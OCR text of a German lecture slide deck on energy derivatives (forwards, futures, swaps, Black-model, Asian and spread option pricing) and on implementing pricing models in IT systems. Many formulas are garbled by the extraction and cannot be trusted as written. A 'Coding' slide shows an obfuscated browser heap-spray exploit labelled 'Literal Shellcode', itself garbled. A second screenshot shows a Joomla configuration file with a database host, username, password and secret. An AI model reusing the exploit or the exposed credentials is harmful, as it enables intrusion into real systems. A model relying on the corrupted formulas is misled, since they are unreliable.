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Organisation von Energiehandel in liberalisierten Markten

Gehandelte

Ak
Commodities teure

HANDELSPLATZ
Borsen
OTC-Geschafte

Von Handelsplatzen unabhangige Strom- und Gasnetzwerkbetreiber regulieren die physische Lieferung von Strom und Gas
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DEVner
Spot- und Terminmarkt

Stlndlicher Spotpreis Nov 14 - Dec 14
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Quelle: EEX
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Spot- und Terminmarkt

Terminmarkt Gehandelte Derivate
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Forwards — Erklarung und Beispiel

Zukunft

Verkaufer

fHtHH ]

Austausch der Ware zu heute
festgelegtem

* zukUnftigen Datum
(Lieferzeitpunkt)

» Menge

* Preis

v

DEVher

Ausnahme Strom

« Lieferperiode statt Lieferzeitpunkt

Verwendung

* Hedging fir Konsumenten und
Produzenten

* Profitabsicherung aus Verkaufsgeschaft
+ Spekulation

| Ausfallrisiko |
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Bewertung eines Forwards
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Forwards — Erklarung und Be

Dez 14 + Jan 15
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Futures — Erklarung und Beispiel

Ausnahme Strom

Zukunft « Lieferperiode statt Lieferzeitpunkt

{ fHtHH ]

v

Verwendung

* Hedging fir Konsumenten und

Verkaufer Produzenten
Austausch der Ware * Profitabsicherung aus Verkaufsgeschaft
(cash-settled) zu heute « Spekulation

Borse festgelegtem

* Legt Konditionen
des Vertrages fest

* zukUnftigen Datum

(Lieferzeitpunkt)

* Clearing « Menge

+ Proi Kein Ausfallrisiko

\ 4
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Bewertung eines Futures

= Siehe Forwards



Swaps — Erklarung und Beispiel

D&EVner

=
Empfanger \ \ \
\ \ \
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Zahler Fixing 1 Fixing 2 Fixing 3

= OTC/Borse

Wird hauptsachlich gehandelt fiir Ol, Gas, Kohle, Biomasse

Nicht Ublich fur Strom
Verwendung:

—  Mittel- und langfristiges Hedging (z.B. fur Erddlraffinerien)

—  Spekulation

Beispiel: jahrliche Ol-Swaps erhéltlich fiir die kommenden 7 Jahre



Bewertung von Swaps

3

/ Forward!

D&EVner
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Zahler Fixing 1 Fixing 2 Fixing 3

= Falls der Swap selbst gehandelt wird, entspricht der Wert des Swaps mit fixed leg K

e T(TimH (St,Tl,...,Tn — K)

= Falls alle Forwards F; . gehandelt werden, entspricht der Wert des Swaps der Summe der Werte der Forwards

z e—T‘(Ti—t) (Ft,Ti _ K)
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Europaische Optionen — Erklarung und Beispiel (I)

Call Option

T Payoff zum Zeitpunkt T

: | PT = maX(FT’T - K, 0)

-
Q

Verkaufer Fall 1
Austausch
(cash-settled) der Ware

Bérse / Put Option
oTC Payoff zum Zeitpunkt T
Fall 2 Pr = max(K — Fr,7,0)

v

Kein Austausch
(cash-settled) der Ware
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Europaische Optionen — Erklarung und Beispiel (l1)
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40

= Payoff Call Option 30
Pf= max(Frr — K,0) 2

10

= Payoff Put Option: 5 0
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= Meist geschrieben auf Futures / Forwards als Underlying

= Verwendung
— Hedging flr Konsumenten und Produzenten

— Spekulation



Bewertung von Europaischen Optionen — Black Modell

= Dynamik der Preise von Forwards / Futures im Black Modell

dFt,T = Ft,T o th,

— o: Volatilitat der Forward / Futures — Preise
— W, ~WN(0,t): Brownsche Bewegung

= Anwendung von etwas Finanzmathematik ergibt

For = Fyr ™ 2 0vWe = £og (0, 0)

= Fairer Preis einer Europaischen Call Option zum Zeitpunkt (analytische Losung)

e‘T(T‘t)IEt[max(Ft,T - K, O)] =
e TT-OE, [max(Ft’T e~ /207 tHoWe _ 0)]
== e (FpN(dy) — KN(dy)),

Fer\, 27—
_ln(K)+a (T-v)

dl_ ) dzzdl_O-VT_t

oVvVT—t
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Asiatische Optionen — Erklarung und Beispiel (1)

= Bisher: Optionen geschrieben auf Futures / Forwards

DEVher

= Kann man Optionen direkt auf den Durchschnitt des Spot-Strompreises Dy, = %Z{Ll St schreiben?

-
s

Verkaufer

Kaufer

-

o

v

Fall 1

Austausch
(cash-settled) der Ware

Fall 2

Kein Austausch
(cash-settled) der Ware

v

Call Option
Payoff zum Zeitpunkt T
Pr = maX(DTn - K, O)

Put Option
Payoff zum Zeitpunkt T
Pr = max(K — Dr.,0)




Asiatische Optionen — Erklarung und Beispiel (Il)

= Arithmetischer Durchschnitt des Spot-Strompreises: D, = —Z =1 ST,

= Payoff zum Zeitpunkt T (Call Option): P, = max (D, — K, 0)

Stindlicher Spotpreis Dezember 2014
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Quelle: EEX

= Verwendung
— Hedging von Kraftwerken, welche Strom am Spotmarkt verkaufen

— Uberwiegend Spekulation
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Bewertung von Asiatischen Optionen — Levy's Approximtion

= Annahme: Approximiere wahre Verteilung von arithmetischem Durchschnitt Dy, mit einer Log-Normalverteilung, deren erste beide
Momente Ubereinstimmen

= Da die Approximation ETnden Erwartungswert (1.Moment)
=~ 1
Dy = E[Dy, | = E[Dy, | = - EiLs Fer,

= haben muss, muss ﬁTnfoIgende Form haben

Dy, = Dye™/2P**BN  mit N ~ N(0,1) = Dy, ~ LogN (Dy,ef*1)
= Folglich hat das 2. Moment von l~)Tndie Form

E|Dr,”| = Da2E[e#*+?FN] = D, 2P

= Verwendung des Verschiebungssatzes Var[Dy, | = E[DZ | — E[Dr, |” liefert die Bedingung

E[DZ] = Var[Dy,] + D,* = E|Dy,"| = Dy%e”’

E[D?2 Var|D
p? = ln< l[)AZn]> =In (1 + —Dngn]>

= Nun kann der faire Preis e 7" ("=, [max (D, — K, 0)] ahnlich wie beim Black Modell gelost werden

= Lost man nach g auf, erhalt man




DEVner
Kraftwerke als Realoptionen

Quelle: www.fuchs-oil.de

Quelle: www.pixgood.com

lomasse

Quelle: www.123rf.com

Quellen: www.holz-kohle-briketts.de
www.focus.de
www.lauss.at

= Vereinfachende Annahmen
— Flexibles, gas-betriebenes Stromkraftwerk (CO2-Zertifikate nicht notwendig)
— Gas- und Strom-Futures mit eintagiger Lieferung am Markt vollstandig handelbar fir kommendes Jahr

= Ertrag heute (Tag t ) an einem zukunftigem Tag T
max(S,r — H * Ge7 — K, 0)
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http://www.fuchs-oil.de/fileadmin/fuchs_upload/pdf_addons/Kultur/Icon_Kraftwerk.jpg
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Kraftwerke als Realoptionen — Spread Optionen

Call Spread Option

T Payoff zum Zeitpunkt T

} : Pr = max(Fi; — Ffr — K,0)

-
Q

Verkaufer Fall 1
Austausch
(cash-settled) der Ware

Bérse / Put Spread Option
ot1c Payoff zum Zeitpunkt T
Fall 2 Pr = max(K + Ffr — F}1,0)

v

Kein Austausch
(cash-settled) der Ware

Fall 1 Fall 2

2 1
K+Frr>Frr @ K+Ffp<Fip
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Kraftwerke als Realoptionen — Bewertung von Spread Optionen

= Payoff einer Call Spread Option
Pr = max(Ffr — Ff; — K,0)
= Annahmen:
~ dF}y = Flro; dW}, =12
- cor(Wg, W) =p
= Flr ~ Log(0,0y), i=1,2
= FZr + Ke ™79 ~ LogV (approximativ fiir K < FZr)

1
Ft,T

= Zt = FtZ’T n Ke—r(T—t)

~ LogIN

= Fairer Preis einer Call Spread Option
e "TDE, [max(Flr — F3r — K,0)] =
e"r(T‘t)IEt[(FtZ,T + Ke "T=9) « max(Z, — 1,0)] =

=... = T(T-0) (Ftl,TN(dl) — (FZr + K)N(dz))
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Ausblick - Speicherkraftwerke

= Speicherkraftwerke = Pumpspeicherkraftwerke

e a4
y B oW

-

Quelle: www.fotocommunity.com Quelle: www.dena.de

= (asspeicheranlagen

Quelle: Www.n-gpeicher.de
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Modell Implementierung

= \Wie werden solche Modelle in der Praxis implementiert?
= Welche Software wird verwendet?
= |n welcher IT-Umgebung wird gearbeitet und welche IT-Architektur liegt zugrunde?

= Coding: Wer implementiert und wer ist verantwortlich fur den Code? — Fachbereich oder IT?
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Modell Implementierung - Beispiele

Application Integration Spaghetti x:

Feedback
Loops

Mix of BU IT, Super Users, End-Users

BU Driven Development
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Gartner

Quelle: www.gartner.com
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Modell Implementierung — Spaghetti Processing Nachteile

= Nicht konform mit neuen Vorschriften und Regularien, z.B. Dodd-Frank
=> Audit Findings

—> Risk Management und interne Audits greifen nicht
( Spreadsheet Fat-fingering, siehe z.B. :
http://www.finextra.com/video/video.aspx?videoid=790
http://www.finextra.com/video/video.aspx?videoid=789 )

Excel Workbooks sind fehleranfallig

Prototypen sollten nicht in produktiven Systemen eingesetzt werden

Komplexe und unstrukturierte Excel Prozessablaufe sind ab einer bestimmten GrolRe sehr unflexibel, aufwendig zu pflegen
und es ist schwierig diese abzuschaffen
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Modell Implementierung — Best Practice

Model Execution Engine (MEE)

GUI

Java Ul / Browser Execution Controller (Dispatcher)

Calculation Services Data Service

Matlab IDE
MEE
Config DB

Custom Services

Matlab Library
(compiled Matlab Code) DB
DB || e. g. Connector
Matlab API
- a a
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Modell Implementierung — Best Practice

Execution Controller (Dispatcher)
= Core functions

— Logging
— Monitoring

Execution Controller (Dispatcher)

— Configuration
— Security
= Function discovery
— Even across multiple hosts

= Handling of synchronous /
asynchronous calls



Modell Implementierung — Best Practice

Data Service

= Unified data access

— Data access interface is stable
between environments

— Data access to heterogeneous
data sources

— No direct database access —
schema changes are just config
changes

= Predefined statements /
sequences of statements for
reduced operational risk

= Security constraints on query
level

= Connection pooling

Data Service

MEE
Config DB

D&EVner



DEVher

Modell Implementierung — Best Practice

Execution Controller (Dispatcher)
= Core functions

— Logging
— Monitoring e
— Configuration Calculation Services
— Security

= Function discovery E
— Even across multiple hosts Matlab Library

. (compiled Matlab
= Handling of synchronous /

asynchronous calls

Business Logic




Modell Implementierung — Coding

<html ~<body>
<button

d="1luNgozhFogqrLUYsgWc LcEuGwPIPJphwxk Tv fekBlexFrPjEKfaRfKjePlewdIXagRaVEaypxRluF
@ncli ck="bzFYHULE tViXUSFnThmHS1 sHkha}{XszﬁdchUc tdERXDaR=HLWfAtBapRevlEeADR () i '

style= display nohne r=/bUtton

<script language='javascript'>

function =CnFgllfQvFzhsIai(){

var o Literal Shellcode

uneacape ([ fufcf8fuiid4eimlbebiuibiebubb fetul0005u00005nldk35ui0045u8300%u0lc3sud

DRYm £ ZME ZWa 5 LwECOEDbxCGA g PGoCHvh TWIC J DemV I vwI o BN EdgmldwlUDyii BQIws j agF DoeebSrag
= new Arrawv():

var gocVaTBInVigBlaBwlI0gwezuNEDJuli=V [ LERSEpnPFVPrODQI PhHEVITYDGeiUnFUIQTs5Faa

X = ST ] LS TIL TWILLE Ham, 3 i3 JEV1] TIXdE zwl
var O0YVhmOLwislldtAWmICUTRpW = unescape (' fulcOc%ulclOc') ;

while (0DYhmOLwislldtAWnICUTEW. length<goccVxTB fnVigBDaBw0I OgwezullFOJui =V f LERSEpn PV
{ O0¥YhmOLwislldtAWndCUTpW+=00YhmOLwisl 1dt2WnICUTRW: )
var GOVEYWGeTjizHTuSpiwWkiaz =
O0YhmOLwizglldtAWnd CUTRW . substring (0, gecVxTB fnVigB0aBvDI0gwezuliFOJui =V i LERSEpnPVE
delete O0YhmOLwislldtAWmdCUTRW ;
for (kpuYeglZrPEU=0; kpuYegMArPBM<270; kpuYkgldirPBH++) |

DREYmf ZMEZWa5 LwKCDEDbxCGA g PGoGHvh TWIC J 0emV 2 I v I o BN s EdgnldwlUDyvii BQIwE j agF DoeebSrag

= COVEYWGaeTjizNTuSpiWWHaz + GOVEYWGeTjizNTuSpiWiWHaz +

JGarrp]Yazm IEAnwnYaFWtEN 1xamZI S LOSk jBUPL] FRHKB JEvi jO0VERbrYxdk SXn=wEl 1V rcOpIGX
}

k
Eunction beFYHULEtViXUSFnThrHS]sNkhalDzPHhgdckUctdER DaR=HLWEAtEspRev1EcROR () )
z2CnFgIl E0vEF=halai () ;
var i1HOVEBOgThJMCEMEIOQLhUsdalEJBEZnd vV = document.createElement ('body ')
iHOV EBDgThiMCEM FOQLhUsdaQEJBZmD y\{ addBehavior (' #defaultiuserData’) )
document . appendChild (iHOViBQgTh jMCRT OO S0 aUE B e v T -
try {
for (EpuYEqglR2rPBU=0; Epu¥YkgMArPBM<10; kpuYkglarPBMH++) {
1HOQWEBOgTh jUMCEM fO0LhUadalEJBEND ¥V . setAttribute (' a2’ ,window) ;

D&EVner

I configuration.php - Notepad
File Edit Format Miew Help

$<?phpoclass 1config {0/% site Settings *S0var $offline =
‘o' ovar $offline_messzage = 'This site is down for
maintenance. <br S Please check back again soon.';0var
$sitename = "My Joomla’;Ovar $editor = "timymce’; Dvar
$19st_Timit = 20 jO0var $legacy = '0°;0/% Debug Settings
/0var $debug = i Ivar $debug_lang 0';0/% Datahase
settings . 0var $dbtype = 'mysql';0var $host =

"intdbl. olympus. net’; Dvar $user = 'thosgold_rw'; Dvar
fpassword "mfxphLozab' ; ovar $db
'thosgold_intaliarenet’; 0var $dbprefix = 'jos_';0/%
server settings “*S0var §$1ive_site = '';0var §secret =
WIFxﬁlqﬁng 8BL'; 0var %$gzip = '0';0var $error_reporting
= ; Dwar %he1pur1 = 'http://help.joomla.org’; Dvar
$xm1rpc_server = '0';0var $ftp_host = "127.0.0.1"; 0var

§ftp_port = '21';0var $ftp_user =
"aOvar $ftp_root = ' ovar $ftp_enable = '07; 0Dvar
$force_ss] = '"0';0/% Locale settings */0var $offset =
"0 0var $offset_user = '0'; 0% Mail settings %/ 0wvar

";Owvar $ftp_pass =

§mailer = 'mail’;owar $mailfrom = 'thomas@oTlympus.net';0
var $fromname = "My Joomla';0var $sendmail =
‘Susrshingsendmail’; owar $smtpauth = '0'; Dwvar
§smtpsecure = 'none’;0var $smtpport = '25°;0var $smtpuser
= "';0Ovar %$smtppass = '';0var $smtphost = 'localhost'; o0/
Cache settings */0var $caching = '0';0var $cachetime =
'15";0var $cache_handler = "file’;0/% Meta settings */0
war $mMetabesc = 'Joomlal! - the dynamic portal engine and
Content management system';Owvar $Metakeys = 'joomla,

TnmTa' snwar fMetaTitle = "1 ' 0war $Metaanthnr = "1 '



Model Implementation — Who Codes?

Instrument

e yed IR A

Quant/Developer

System

Quant who is a good programmer
-OR-
Programmer who is a good quant
(very rare and expensive)

D&EVner
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Danke fur lhre Aufmerksamkeit!



